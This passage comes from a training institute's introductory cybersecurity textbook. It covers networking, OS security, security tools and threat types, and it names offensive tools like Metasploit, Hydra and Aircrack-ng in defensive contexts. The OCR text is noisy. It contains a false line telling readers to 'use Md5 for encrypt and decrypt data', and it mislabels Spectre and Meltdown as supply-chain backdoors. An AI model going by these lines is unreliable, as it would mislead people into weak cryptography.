Oxford University Awarded

techneGizbe®

Detivering Excellence Since 2007

Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

About Technoglobe

Technoglobe is Leading IT Training Company of India working for IT Training, Skilling &
Placement

of Students since year 2001. Technoglobe has trained & placed a huge number of students in
various sectors like Digital Marketing, Graphic Designing, Accounting, Video Editing, Web

Development with Java Python & PHP, Data Analytics, Data Sciences, Adv Excel, Networking,
Cyber Security, Devops, Generative Al & many more technologies.

It has been awarded more than 30 times for its Quality Education & Placements at National &

International platforms. It is one of the very few IT Training Companies in India that are
awarded at Oxford University UK. Technoglobe has more than 100+ centers in India, UAE, UK,
Canada & Singapore.

As part of its Strong Placement Support Technoglobe has done 500+ tie ups with various IT &
Non

IT companies & adding more companies to it.

If you are not willing to learn, no one can help you. If you are determined to learn, no one can
stop you.

Message from Team Technoglobe

Dear Students,

IT skilling is crucial for India as it significantly contributes to the nation's economic growth by
powering the rapidly expanding IT sector, generating substantial employment opportunities,
driving innovation, and enabling India to compete effectively in the global market, making it
one of the key. pillars of the Indian economy

Skilled IT professionals are essential for driving innovation in various sectors, including IT,
healthcare, finance, Banking and manufacturing through technology adoption.

We at Technoglobe bridge the gap between the requirement of companies & skills of the
students.

Our job oriented Training programs makes the students employable & industry ready.
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About the Book

This book is a comprehensive self-learning guide created to empower aspiring and
professional cyber security enthusiasts with the essential knowledge, tools, and techniques
needed in today’s rapidly evolving digital threat landscape. Whether you are a beginner
stepping into the world of cyber security or an experienced professional aiming to upgrade
your defensive and analytical skills, this guide provides step-by-step learning enriched with
practical exercises and real-world case studies.

Covering the complete cyber security lifecycle, the book explores core concepts such as
network security, encryption, ethical hacking, penetration testing, incident response, digital
forensics, cloud security, and security compliance frameworks. It also introduces advanced
areas including malware analysis, threat intelligence, SOC operations, Red Team—Blue Team
methodologies, and modern Al-driven security practices.

Each chapter is structured to gradually strengthen your understanding with hands-on labs,
simulated attack-defense scenarios, tool-based walkthroughs, and practical projects. You'll
gain proficiency in using industry-standard tools and platforms such as Kali Linux, Burp Suite,
Metasploit, Wireshark, Splunk, Nessus, Nmap, and cloud security consoles.

Aligned with the latest trends in cyber defense, ethical hacking, risk assessment, and digital
transformation, this book ensures you become job-ready, security-aware, and capable of
safeguarding systems in real environments. Whether your goal is to become a cyber security
analyst, ethical hacker, penetration tester, SOC engineer, or security consultant, this guide
provides the strong foundation and advanced insights required to succeed in the cyber
security domain.

This guide is developed by Technoglobe, a leading IT and multimedia training institute
awarded for Quality Education and Placements, with over 100+ centers and a legacy of
training thousands of students since 2001.

Pg.2 www.technoglobe.co.in



Oxford University Awarded

techneGizbe®

Detivering Excellence Since 2007

Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

Index
Chapter 1: Introduction to Cyber Security.
Chapter 2: Basics of Computer Networking.

Chapter 3: Operating Systems and Security.

Chapter 4: Cybersecurity Tools & Techniques.
Chapter 5: Cyber Threats & Vulnerabilities.
Chapter 6: Malware and Cyber Attacks.
Chapter 7: Cryptography and Data Protection.
Chapter 8: Network Security.

Chapter 9: Wireless Security.

Chapter 10: Web Security.

Chapter 11: Cloud Security.

Chapter 12: Mobile Security.

Chapter 13: Internet of Things (loT) Security.
Chapter 14: Artificial Intelligence (Al) in Cybersecurity.
Chapter 15: Introduction to Kali Linux.
Additional Practical Labs.

How to make CV for Cybersecurity.

Pg.3 www.technoglobe.co.in



Oxford University Awarded

techneGizbe®

Detivering Excellence Since 2007

Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

Chapter 1: Introduction to Cybersecurity

1.1 What is Cybersecurity?

Cybersecurity refers to the practice of protecting computer systems, networks, data,
and digital assets from unauthorized access, theft, damage, or disruption. In simple

terms, it is about keeping information safe in the digital world.

With the rise of the Internet, mobile devices, and cloud computing, cyber threats

have grown exponentially. Cybersecurity ensures that individuals, businesses, and

governments can operate securely in a connected world.

1.2 Importance of Cybersecurity

Data Protection — Prevents theft of sensitive data such as financial information,
personalidentity, and trade secrets.

Business Continuity — Ensures that organizations can continue operations even
after cyberattacks.

National Security - Governments rely on cybersecurity to protect critical
infrastructure such as power grids, defense systems, and healthcare.

Trust — A secure environment builds trust between users, customers, and
organizations.

Example: Imagine if a bank’s system was hacked and customer accounts were

exposed. Without cybersecurity, people would lose trust in online banking.

1.3 The Evolution of Cybersecurity

1960s - 1970s: Early mainframes had no passwords. Physical access was the
only security.

1980s: Introduction of personal computers brought the first computer viruses.
1990s: Internet boom > new threats like worms, Trojans, and phishing.

2000s: Rise of e-commerce and social media > need for encryption, firewalls,
and anti-virus software.

2010s — Now: Advanced attacks like ransomware, nation-state cyber warfare,
and Al-based hacking.

1.4 Types of Cyber Threats

1.

Malware - Viruses, worms, Trojans that damage or steal data.

2. Ransomware - Encrypts files and demands money to unlock them.
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Phishing - Fake emails or websites that trick users into giving personal info.
Denial of Service (DoS/DDoS) - Overloads a server with traffic to shut it down.
Insider Threats — Employees or contractors misusing access.

Zero-Day Exploits — Attacks that exploit unknown software vulnerabilities.

1.5 Cybersecurity Goals — The CIA Triad

Cybersecurity is built on three main principles (CIA):

Confidentiality > Protecting information from unauthorized access.
Integrity > Ensuring data is not altered or tampered with.

Availability » Making sure systems are always accessible when needed.

1.6 Ethical Hacking vs. Black Hat Hacking

Black Hat Hackers - Break into systems illegally for personal gain or
destruction.

White Hat Hackers (Ethical Hackers) — Use hacking skills to find weaknesses
and secure systems.

Gray Hat Hackers - Fall in between; sometimes hack without permission but
not always malicious.

Example: An ethical hacker may test a bank’s system for vulnerabilities, while a black

hat hacker tries to steal customer money.

1.7 Careers in Cybersecurity

Cybersecurity is one of the fastest-growing fields with high-paying jobs. Some roles

include:

Security Analyst — Monitors threats and attacks.

Penetration Tester — Performs ethical hacking.

Security Engineer — Builds secure systems.

Incident Responder — Handles cyberattacks when they happen.

Chief Information Security Officer (CISO) — Manages an organization’s entire
cybersecurity strategy.

1.8 Real-World Cyber Incidents

Pg.5

WannaCry (2017): Ransomware attack that infected more than 200,000
computers in 150 countries.
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Chapter 2: Basics of Computer Networking

2.1 Introduction to Networking

A computer network is a group of computers and devices connected together to share
information, resources, and services. Networking is the foundation of the internet and
cybersecurity—without understanding how computers talk to each other, it is
impossible to secure them.

Example:

¢ When you send a WhatsApp message > your phone communicates with servers
> the server delivers it to your friend’s device.

e This entire process happens because of networking protocols.

2.2 Why Networking Matters in Cybersecurity

e Attacks happen through networks (phishing emails, malware downloads,
DDoS attacks).

o Defenses are network-based (firewalls, intrusion detection systems, VPNs).

e Tobe agood cybersecurity professional, you must understand how networks
are built and protected.

2.3 Types of Networks
1. LAN (Local Area Network) - Small network within a home, office, or school.

2. WAN (Wide Area Network) — Large network spanning cities or countries (e.g.,
the Internet).

3. MAN (Metropolitan Area Network) — Covers a city or metro area.

4. PAN (Personal Area Network) — Bluetooth, hotspot, and device-to-device
connections.

5. VPN (Virtual Private Network) — A secure “tunnel” inside a public network for
safe communication.

2.4 Network Topologies
The topology is the physical or logical arrangement of network devices.
e Bus > All devices connected to one cable (simple, but failure-prone).

e Star~> All devices connected to a central switch (common in homes/offices).
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¢ Ring~> Devices connected in a loop.
e Mesh > Every device connects to every other device (used in critical systems).

e Hybrid > Combination of two or more topologies.

MOST COMMON TYPES OF NETWORK TOPOLOGY

ig The L

Bus Topology Star Topology Ring Topology
Mesh Topology Tree Topology Hybrid Topology

2.5 Network Devices

Router - Connects different networks (e.g., your home Wi-Fi to the Internet).
o Switch - Connects devices inside a LAN and forwards data efficiently.

¢ Hub-Abasic device that broadcasts data to all connected systems.

o Firewall - Security device that filters network traffic.

e Access Point - Provides wireless connectivity.

e« Server - Stores and manages data for clients.
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Common Types of Network Devices
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2.6 OSI Model (Open Systems Interconnection)

The OSI model is a 7-layer framework that explains how data moves across a network.

1. Physical - Cables, signals, hardware.

2. DataLink- MAC addresses, switches, Ethernet.

3. Network - IP addresses, routers.

4. Transport-TCP/UDP, data delivery.

5. Session - Manages sessions between devices.

6. Presentation - Encryption, compression.

7. Application — User applications (web, email, chat).
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2.7 TCP/IP Model
The Internet model (practical version of OSI):
Network Access Layer — Physical + Data link.

Internet Layer - IP addressing, routing.

. Transport Layer - TCP/UDP communication.

. Application Layer - Web, Email, FTP, DNS

2.8 IP Addressing

Every device on a network needs a unique IP address.
IPv4 - 32-bit address (e.g., 192.168.1.1).

IPv6 — 128-bit address (e.g., 2001:0db8::1).

Types of IPs:

Public IP > Given by ISP, used on the Internet.

Private IP > Used inside LAN (e.g., 192.168.x.x).

Static IP > Fixed, doesn’t change.

Dynamic IP > Assigned by DHCP, changes automatically.
2.9 Subnetting (Basics)

Subnetting is dividing a large network into smaller parts for efficiency and
security.

Example:
Network: 192.168.1.0/24 > 256 |Ps.
If divided into 2 subnets (/25), we get:
o Subnet1:192.168.1.0-192.168.1.127
o Subnet2:192.168.1.128 - 192.168.1.255
This helps in better management, isolation, and security.
2.10 Common Networking Protocols
HTTP/HTTPS > Web browsing.
FTP/SFTP - File transfer.

DNS - Converts domain names to |IP addresses.
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e DHCP ~> Assigns IP addresses automatically.
e SMTP/IMAP/POP3 > Email communication.
e SNMP > Network device monitoring.
2.11 Wired vs Wireless Networking
« Wired Networks > More secure, faster, but less flexible.

¢ Wireless Networks > Convenient, mobile, but vulnerable to attacks (e.g., Wi-Fi
hacking).

2.12 Basics of Network Security
¢ Authentication - Confirming identity (passwords, biometrics).
e Authorization — Granting permissions.
¢ Encryption - Securing data using cryptography.
e Firewalls & IDS - Filtering and monitoring traffic.
e VPNs - Protecting data over the Internet.

o 2.13 Summary

o Computer networking is the backbone of cybersecurity. Without understanding how
data flows through cables, routers, switches, and protocols, one cannot defend against
hackers. In the next chapters, we will explore operating systems security and then
move deeper into cybersecurity tools and attacks.
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Chapter 3: Operating Systems & Security

V4

3.1 Introduction

An Operating System (OS) is the software that manages hardware,
applications, and users. Examples include Windows, Linux, macQOS,
and Android.

From a cybersecurity perspective, the OS is the first line of defense—
if an attacker compromises it, they gain control over the entire
computer.
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3.2 Role of the Operating System in Cybersecurity
o Access Control » Who can use the system and what they can do.
« File System Security > Preventing unauthorized access to data.

« Process Management 2> Ensuring no malicious process runs
unnoticed.

« User Authentication = Passwords, biometrics, smart cards.

« System Logs & Monitoring > Detecting intrusions through system
events.

Application

] L

Operating system

T P -

Hardware

3.3 Windows Security Features

Windows is the most widely used OS in enterprises, making it a
frequent target for hackers.

Key Windows Security Features:

o User Account Control (UAC) - Prevents unauthorized changes.
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» BitLocker-Encrypts hard drives.
« Windows Defender - Built-in antivirus and firewall.
o Group Policy - Centralized control of user privileges.

« Active Directory (AD) - Manages users, computers, and permissions
in a network.

Common Windows Attacks:
« Pass-the-Hash attacks (stealing Windows credentials).

« Exploiting unpatched vulnerabilities (e.g., EternalBlue > WannaCry
ransomware).

« Privilege escalation using weak admin settings.

® Systern and Security

T & > Control Panel » System amd Security

Contral Panel Home

! ) o
* System and Security - es L User unt tr ing
T ems
Metwork and Internet
- L Windows Defender Firewall
Hardhware and Sound
Check firewall status Allow an app through Windows Firewal
Pragrams
Lser Accounts E System
= View amount of RAM and processor speed .. o PTIole ACcess Launch remote assistance
Appearance and See the name of this eonpuler
Personalization ' o o
Clock and Region '“;] Power Options
A - 4 Change battery settings Change what the power buttons do Change when the computer sleeps
Ease of Access
File History
@ Savie backup copies of your files with File Histony Restare your files with File History
¥« Backup and Restore (Windows 7)
w Backup and Kestore (Windows 1) Restore files from backup

BitLocker Drive Encryption
Manage Bitlocker

P

Storage Space
Mamage Storage Space

A\

Work Folders

Manage Work Folders

3.4 Linux Security Features

Linux is popular in servers, cybersecurity labs, and ethical hacking due to its
stability and open-source nature.

Security Features in Linux:

¢ File Permissions (rwx) — Controls read, write, execute access.
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Sudo (superuser do) — Grants limited admin privileges.
iptables / firewalld — Network firewall.
SELinux / AppArmor — Mandatory access controls.

Open-Source Tools — Nmap, Wireshark, Metasploit available natively.

Common Linux Attacks:

Pg.14

Privilege escalation (getting root access).
Weak SSH configurations.

Kernel exploits.
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Overview

3.5 User Authentication & Authorization

Authentication = proving identity.
Authorization = deciding access rights.

Methods of Authentication:
Passwords (weak if simple).
Multi-Factor Authentication (MFA).
Biometrics (fingerprint, face ID).

Digital Certificates.
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Best Practices:
e Use strong, unique passwords.
e Enable MFA everywhere.

e Limitadmin accounts.

3.6 System Hardening

System hardening means reducing attack surfaces by securing an OS.
Steps to Harden an OS:

1. Apply regular patches & updates.

2. Disable unused services & ports.

3. Remove default accounts & passwords.

4. Enable firewall & antivirus.

5. Regular backup & restore plans.

3.7 Logging & Monitoring

e Windows Event Viewer > Tracks system events.

¢ Linux syslog/ journalctl > Records activities.

e Logs helpinincident response and detecting suspicious behavior.
Example:

¢ Repeated failed logins in logs = brute force attack in progress.

3.8 Virtualization & Containers

@ blog.bytebytego.com
Virtualization Containerization

Startup time N
minutes seconds

Disk space ﬁ |
Portability Less Portable @
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system/kernel

Dedicated Shared
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Modern IT uses virtualization and containers to run multiple systems on one machine.

¢ Virtual Machines (VMware, VirtualBox, Hyper-V) > Used for cybersecurity labs.
¢ Containers (Docker, Kubernetes) 2 Lightweight, isolated apps.
Security Challenges:
e VM escape attacks (hacker breaks out of VM to host system).
¢ Misconfigured containers exposing sensitive data.
3.9 Mobile Operating Systems Security
¢ Android (Linux-based, most targeted due to popularity).
e i0OS (Apple’s closed ecosystem, considered more secure).
Threats:
¢ Malicious apps.

o Jailbreaking/rooting vulnerabilities.

o Datatheftvia insecure Wi-Fi.

[} 3R] ANDROID
LOPMENT

3.10 Real-World OS Security Incidents

e WannaCry (2017): Exploited unpatched Windows systems.
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Chapter 4: Cybersecurity Tools &
Techniques

Introduction

Cybersecurity is not only about theory; it is a field where practical tools and techniques
are the backbone of defense, monitoring, and investigation. Tools provide visibility into
networks, identify vulnerabilities, detect attacks, and help mitigate threats in real time.
A cybersecurity professional must know how to use these tools effectively, as they are
the "weapons" of defense in the digital world.

This chapter introduces the most widely used cybersecurity tools and techniques. We
will explore their purpose, functionality, and real-world application, giving students a
practical foundation for hands-on learning.

4.1 Firewalls

Afirewall is a security device (hardware or software) that monitors and controls
incoming and outgoing network traffic based on predefined rules.

o Types of Firewalls:

o Packet-Filtering Firewall - checks packets against rules
(source/destination IP, ports, protocol).

o Stateful Firewall - monitors active connections and makes decisions
based on traffic state.

o Application Firewall (WAF) - protects web applications by filtering
malicious HTTP requests.

o Next-Generation Firewall (NGFW) - combines traditional firewall with
intrusion prevention and application awareness.

e Real Use Case: A university network uses NGFWs to block access to malicious
websites while allowing students access to academic resources.

Hardware Firewall

WWw ® Router (@ .
» ()

= {(u-

- 1 Devices
LR

PCs
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4.2 Intrusion Detection & Prevention Systems (IDS/IPS)
IDS and IPS are tools designed to detect and, in some cases, prevent malicious activity.

o IDS (Intrusion Detection System): Monitors network traffic, generates alerts on
suspicious activity. Example: Snort, Suricata.

e IPS (Intrusion Prevention System): Not only detects but also blocks or drops
malicious traffic in real-time.

e Use Case: An IDS alerts a system admin of unusual login attempts from multiple
countries, indicating a brute-force attack.

4.3 Encryption & Cryptography

Encryption protects confidentiality by converting plain data into unreadable format
using algorithms.

e Symmetric Encryption: Uses one key for both encryption and decryption (e.g.,
AES).

e Asymmetric Encryption: Uses public and private keys (e.g., RSA).

e Hashing: One-way function, commonly used for password storage (e.g., SHA-
256).

e Use Case: HTTPS websites encrypt communication between browser and server
using TLS (a combination of asymmetric and symmetric encryption).

Note: Use Md5 for encrypt and decrypt data.
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4.4 Virtual Private Networks (VPNs)

A VPN establishes a secure, encrypted tunnel over the internet, allowing users to
protect data and mask their location.

e Types of VPNs:
o Remote Access VPN - connects individuals to a corporate network.
o Site-to-Site VPN - connects two entire networks securely.

e Use Case: Remote employees use VPNs to securely access company resources
from home.

4.5 Security Information and Event Management (SIEM)

SIEM tools collect, analyze, and correlate security logs from multiple systems. They
provide a centralized dashboard for security monitoring.

e Popular SIEMs: Splunk, IBM QRadar, ArcSight, ELK Stack.
¢ Functions: Real-time monitoring, threat detection, compliance reporting.

e Use Case: Abank uses SIEM to detect unusual login activity from ATMs,
signaling a possible fraud attempt.

4.6 Penetration Testing Tools

Ethical hackers use penetration testing tools to simulate attacks and uncover
vulnerabilities.

e Common Tools:
o Nmap - network scanning and mapping.
o Metasploit — exploit framework.
o Burp Suite —web application testing.
o Hydra-password brute forcing.

e Use Case: A cybersecurity team tests a new e-commerce site using Burp Suite
to detect SQL injection vulnerabilities.

M2 BURPSUITE

Let’s brute force
with Hydra
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4.7 Malware Analysis Tools

Analyzing malware helps researchers understand its behavior.

e Static Analysis: Examining code without running it. (Tool: IDA Pro, Ghidra)

e Dynamic Analysis: Running malware in a sandbox to observe its behavior. (Tool:
Cuckoo Sandbox)

e Use Case: Security researchers use Ghidra to reverse engineer ransomware and
develop a decryption tool.

4.8 Password Security Tools

Weak passwords are a major vulnerability. Tools are used to audit and strengthen
password security.

¢ Examples:

o John the Ripper - password cracking.

o Hashcat - GPU-based cracking.
o KeePass/LastPass — password managers for safe storage.

e Use Case: An organization audits employee passwords with John the Ripper to
ensure compliance with strong password policies.

HASHCAT

WINDOWS macOS
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4.9 Wi-Fi Security Tools
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Wi-Fi networks are common attack targets. Tools help identify
misconfigurations and vulnerabilities.

« Examples:
o Air crack-ng - wireless key cracking.

Aircrack-ng 1.7
[00:00:00] 400/477 keys tested (3716.26 k/s)
Time left: @ seconds

KEY FOUND! [ wO@rkplac3rul3s ]

Master Key : 79 @D 95 BC C3 D8
E 5

B4 F9 DE BF EA 15

Transient Key : ES 7E FE C4 FD CD
B4 94 ED E2 18 CE
03 1F 94 40 39 01
3A 28 34 D3 2A

EAPOL HMAC - CE 15 C8 6C 0A

o Kismet -wireless network detector.

@ venu ) a O = 1) 938PM

&« o ©@ [ localhost w mn o ¢ =
= Kismet ettt < [) 96% @0

Devices  SSIDs  ADSB Live

All devices - Search: ||

Name Type Phy Crypto signal “ Channel Data Packets Clients BSSID QBSS Chan Usage QBSS Users.
BAEA1DDL3278  WiFiBridged IEEES02.11 n'a na 6 106,83 KB 0 CHEAIDDLB2TY nla na
OD:EQ4C:6B:03:31  Wi-FiBridged  IEEEB0211 na nia 1 1.75MB [ 02:6AEIEAL0ES nia na I
04:CODGADEDF  WiFiBridged  IEEES02.11 na na 1 62.06K8 0 E0:B9:E5:89:3B:86 nia na

2920 devices

Messages  Channels .*

| I =R CEOPEN Source wixdB848276d964d successfully re-opened

Jan 24 2021 21:37:55 wix98482760964d finished configuring kismonD, ready to capture I

Jan 24 2021 21:37:55 wix9848276d964d bringing down parent interface 'wix9848276d964d"
Jan 24 2821 21:37:53 Attempting to re-open source wix9848276d964d

I Jan 24 2021 21:37:48 Source whx3848276d964d has encountered an error. Kismet will attempt to re-open the source in 5 seconds. (1 failures)

[
Powered by many OSS components, see the credits page

=] [hunter@hunter-Virtua... #% Kismet— Morilla Firefox
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. .
o Wireshark - packet analysis.
M t-netflic-problems-2011-07-06.peap - m} X
File Edit View Go Capture Analyze Statistics Telephony Wireless  Tools  Help
4w @ BEQ &= 152 aaan
|1|App\'-;adispla'-, filter ... <Ctrl-/> ) | 'lExprEsslon... +
Ma. Time Source Destination Protocol Length Info |
343 £5.142415 192.168.8.21 174.129.249,228 TCP 66 48555 + 8@ [ACK] Seq=1 Ack=1 Win=5888 Len=@ TSval-491519346 TSecr=551811827
344 £5.142715 192.168.8.21 174.129,249.,228 HTTP 253 GET /clients/netflix/flash/application.swf?flash_version=flash_lite 2.1&v=1.5&nn
345 £5.238738 174.129.249.228 192.168.8.21 TCP 66 88 + 48555 [ACK] Seq=1 Ack=188 Win=6364 Len=8 TSval=551811858 TSecr=491519347
346 65.248742 174.129.249.228 192.168.8.21 HTTP 828 HTTP/1.1 382 Moved Temporarily |
347 £5.241592 192.168.8.21 174.129.249,228 TCP 66 48555 + 8@ [ACK] Seq=188 Ack=763 Win=7424 Len=8 TSval=491519446 TSecr=551811852 |
—+ 348 55.242532 192.168.8.21 192.168.8.1 DS 77 Standard query 8x2188 A cdn-8.nflximg.com
+— 349 B5.276870 192.168.8.1 192.168.08.21 Dns 489 Standard query response 8x2188 A cdn-B.nflximg.com CNAME images.netflix.com.edge |
358 £5.277992 192.168.8.21 63.8@.242.48 TCP 74 37863 + 8@ [SYN] Seq=@ Win=5848 Len=8 MS5=146@ SACK_PERM=1 TSval=491519432 TSecr—
351 65.297757 63.80.242.43 192.168.0.21 TCP 74 88 + 37863 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=8 MS5=1468 SACK_PERM=1 TSval=3295—]
352 65.298396 192.168.8.21 63.8@.242.48 TCP 66 370863 + 8@ [ACK] Seq=1 Ack=1 Win=5883 Len=0 TSval-491519502 TSecr=329553413@ =
353 65.298687 192.168.8.21 63.8@.242.48 HTTP 153 GET /us/nrd/clients/flash/81454@.bun HTTP/1.1
354 65.31873@ 63.80.242.43 192.168.0.21 TCP 66 88 + 37863 [ACK] Seq=1 Ack=88 Win=5792 Len=@ TSval=3295534151 TSecr=491519583
355 65.321733 63.80.242.43 192.168.0.21 TCP 1514 [TCP segment of a reassembled PDU] 7
< >
Frame 349: 489 bytes on wire (3912 bits), 489 bytes captured (3912 bits) L)
Ethernet II, Src: Globalsc_@@:3b:@a (f@:ad:4e:@@:3b:8a), Dst: Vizio_l4:8a:el (@8:19:9d:14:8a:el)
Internet Protocel Version 4, Src: 192.168.8.1, Dst: 192.168.8.21
User Datagram Protocol, Src Port: 53 (53), Dst Port: 34836 (34836)
“ Domain Name System (response)
Request Tn: 348
[Time: 8.834338888 seconds]
Transaction ID: 8x2188
Flags: @x8188 Standard query response, No error
Questions: 1
Answer RRs: 4
Authority RRs: 9
Additional RRs: 9
¥ Queries
cdn-@.nflximg.com: type A, class IN
Answers
Authoritative nameservers v
o028 @ 15 @@ 35 54 4 @1 c7 &35 3f PENEE 51 80 @@ @1  ...5.... .7[M.... ~
62 B84 A2 89 @B 89 B85 63 64 6e 2d 38 B7 6e 66 BC  ....... c dn-@.nfl
78 69 6d 67 @3 63 6T 6d @0 @@ Bl 80 @1 c@ 8c @0 ximg.com ........
65 @0 01 B0 @@ 85 29 8@ 22 86 69 6d 61 67 65 73 ...... ). ".images
@87 6e 65 74 66 6c 69 78 @3 63 6f 6d 89 65 64 67 .netflix .com.edg
65 73 75 69 74 65 83 Ge 65 74 B8 cB 2f @8 85 60 esuite.n et../... v
@ 7 1dentification of transaction {dns.id), 2 bytes Packets: 10299 - Displayed: 10299 (100.0%) - Load time: 0:0.182 || Profile: Default
o Use Case: A penetration tester uses Aircrack-ng to evaluate

Wi-Fi encryption strength at a client’s office.

4.10 Digital Forensics Tools

Digital forensics is about collecting and analyzing evidence after a cyber

incident.
¢ Examples:
o FTK (Forensic Toolkit) - full forensic suite.
o Autopsy/Sleuth Kit - open-source forensic analysis.
o Volatility - memory forensics.
o Use Case: Law enforcement uses Autopsy to recover deleted files from a
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4.11 Techniques Used in Cybersecurity

Beyond tools, professionals rely on techniques to strengthen defenses.

Vulnerability Scanning - Identifying weaknesses before attackers do.
Patch Management - Regular updates to close security gaps.
Threat Hunting — Proactively looking for hidden threats.

Incident Response - Steps to contain, mitigate, and recover from attacks.

4.12 Case Study: Using Tools Together

Imagine a company hit by ransomware:

1.

2.

3.

4.

5.

IDS detects unusual traffic.

Firewall blocks outbound connections.
SIEM correlates logs to identify the source.
Forensics tools analyze affected systems.

Patch management is enforced to prevent reoccurrence.

This demonstrates the importance of using multiple tools in combination.

Summary

Cybersecurity tools and techniques form the frontline of defense against modern
threats. From firewalls to forensic tools, professionals must understand how to deploy
and integrate them effectively. Tools alone cannot guarantee security, but combined
with knowledge, processes, and human expertise, they provide a strong shield against
attackers.
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Chapter 5: Cyber Threats & Vulnerabilities

Introduction
Every digital system faces risks in the form of threats and vulnerabilities.
e Athreatis any potential danger that can exploit a weakness.

¢« Avulnerability is a flaw or weakness in a system that makes it susceptible to
attack.

¢ An attack occurs when a threat actor actively exploits a vulnerability.

Understanding threats and vulnerabilities is the foundation of cybersecurity defense.
This chapter explores the types of threats, common vulnerabilities, and how
organizations mitigate these risks.

Supply chain Rise of digital

cg{';gfrg_lma‘rs: Advenceid surveillance Human error
s s authoritarianism/  and exploited
daslass b ' loss of privacy legacy systems
campaigns within cyber-
physical
ecosystems
Targeted
Artificial a:tgacks
Intelligence enhanced by
smart device
data
Lack of
analysis
and control of
space-based
Cross border ICT g infrastructure
service providers Skill shortage Rise of and objects
as a single point advanced
of failure hybrid threats
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5.1 Understanding Cyber Threats

Cyber threats come in many forms, ranging from malware to human-based attacks.
Threats may be internal (disgruntled employees, careless users) or external (hackers,

cybercriminals, nation-states).

Categories of Cyber Threats:

1.

Pg.26

Malware — Malicious software like viruses, worms, trojans, ransomware,
spyware.

Phishing Attacks - Fraudulent emails or messages that trick users into revealing
sensitive information.

Denial of Service (DoS/DDoS) - Flooding a service with traffic to make it
unavailable.

Man-in-the-Middle (MITM) Attacks - Intercepting communication between two
parties.

Insider Threats — Employees or contractors misusing access for malicious
purposes.

Advanced Persistent Threats (APTs) — Long-term, targeted attacks often
sponsored by nation-states.

Advanced
Persistent
Threats

Phishing Internet of
Attacks Things (loT)

Cyber

Threats

Ransomware

Supply chain
attacks
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5.2 Common Vulnerabilities
Vulnerabilities may exist at different levels: hardware, software, network, and human.

Examples:

o Software Vulnerabilities: Unpatched systems, buffer overflows, SQL injection
flaws.

¢ Network Vulnerabilities: Open ports, weak Wi-Fi encryption, misconfigured
firewalls.

o Hardware Vulnerabilities: Firmware bugs, supply-chain backdoors (e.g.,
Spectre, Meltdown).

e Human Vulnerabilities: Weak passwords, lack of awareness, falling for
phishing.

Real Example: The 2017 Equifax breach was caused by an unpatched vulnerability
in Apache Struts software.

3 Types Of Network Security Vulnerabilities

Hardware-Based
Network Security
Vulnerability

Software-Based " Human-Based
Network Security Network Security
Vulnerability Vulnerability
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5.3 Exploiting Vulnerabilities

Attackers use exploits—pieces of code or tools—that take advantage of vulnerabilities.

e Zero-Day Exploit: Targets a vulnerability unknown to the vendor, leaving no time
to patch.

o Exploit Kits: Collections of pre-built attacks available on the dark web.

e Privilege Escalation: Exploiting vulnerabilities to gain higher-level access.

5.4 Threat Actors
Who are the people behind cyber threats?
1. Hacktivists — motivated by ideology (e.g., Anonymous).
2. Cybercriminals — motivated by financial gain.
3. Insiders — employees or contractors with malicious intent.

4. Nation-States - government-backed groups focusing on espionage and
cyberwarfare.

5. Script Kiddies - inexperienced attackers using ready-made tools.

5.5 The Vulnerability Lifecycle
1. Discovery—Aresearcher or attacker finds a vulnerability.
2. Disclosure — Reported to the vendor (responsible disclosure) or leaked publicly.
3. Exploit Release — Attackers weaponize the vulnerability.
4. Patch Release —Vendor issues a fix.

5. Mitigation — Organizations apply the patch or workaround.

Important: The time between discovery and patching is when systems are most at
risk.

5.6 Common Attack Vectors
« Email Attachments & Links - phishing, ransomware delivery.

e Web Applications — SQL injection, cross-site scripting (XSS).

Pg.29 www.technoglobe.co.in



e Social Engineering — manipulating people to gain access.

o Removable Media - infected USB drives.

Oxford University Awarded

techneGizbe®

Detivering Excellence Since 2007

Technoglobe IT Solutions Pvt. Ltd.
INDIA | CANADA | UAE | UK | SINGAPORE

e Cloud Vulnerabilities —insecure APIs, misconfigured storage buckets.

Attack Vectors

Social engineering

Malware

Web-based

Network-based

Physical attacks

Password attacks

D

Network

i =i

DDoS
Phishing
A e .
- [— ’
Account SRR s >
takeover '
A
NP
Social A
engineering
attacks Compromised
credentials

Common types of attack vectors
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5.7 Assessing and Managing Vulnerabilities

Organizations use vulnerability management to identify and reduce risks.

¢ Vulnerability Scanning Tools: Nessus, OpenVAS, Qualys.
e Patch Management: Regular software updates.
¢ Configuration Management: Secure baselines for systems.

e Risk Assessment: Prioritizing vulnerabilities based on severity (CVSS score).

5.8 Case Studies

e WannaCry Ransomware (2017): Exploited an unpatched Windows vulnerability
(EternalBlue). Impacted hospitals, banks, and businesses globally.

¢ SolarWinds Supply Chain Attack (2020): Nation-state actors compromised
software updates, infiltrating thousands of organizations.

o Facebook Data Leak (2019): Misconfigured database exposed millions of user
records.

5.9 Mitigation Strategies
¢ Regular patching and updates.
o Network segmentation to limit spread of attacks.
¢« User training to reduce human error.
¢ Backup and disaster recovery plans to recover from ransomware.

e Multi-factor authentication (MFA) to prevent account takeover.

Summary

Cyber threats and vulnerabilities are at the core of every cybersecurity strategy. Threats
may come from malware, phishing, or nation-states, while vulnerabilities range from
software flaws to human mistakes. By understanding how threats exploit weaknesses,
cybersecurity professionals can build stronger defenses. Regular patching, awareness
training, and vulnerability management are essential for reducing risk.
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Cyber Break: A Little Humor Before the Malware Madness

Before we dive into the terrifying world of malware and cyber attacks,
let’s take a short breather. Cybersecurity may be serious business, but
sometimes it feels like we’re living in a comedy show written by hackers.
Think about it—hackers spend hours creating advanced malware to break
into your system, while most of us still use “123456” as a password.
Antivirus companies design million-dollar security tools, and yet your
grandma’s Facebook account gets hacked because she clicked on a link that said “Free

Candy Crush Points.”

In the digital world, hackers are like magicians: they distract you with one hand (the fake
email that says “Your parcel is waiting”), while the other hand quietly empties your data
vault. And let’s be honest—most of us don’t need hackers to make our devices crash;
we manage that perfectly well by installing too many Chrome extensions.

So, buckle up! From this point on, things are going to get darker, scarier, and maybe
even a little creepy. Malware isn’t funny—but sometimes, the way humans fall for it
definitely is.

Cyber Break: The Lighter Side of Hacking

Cybersecurity is serious business... but let’s be honest—sometimes the
funniest things happen when humans meet technology. Before we head into
the heavy stuff about malware and cyber attacks, let’s take a laugh break.
After all, if we don’t laugh at our mistakes, hackers will do it for us.

The Password Problem

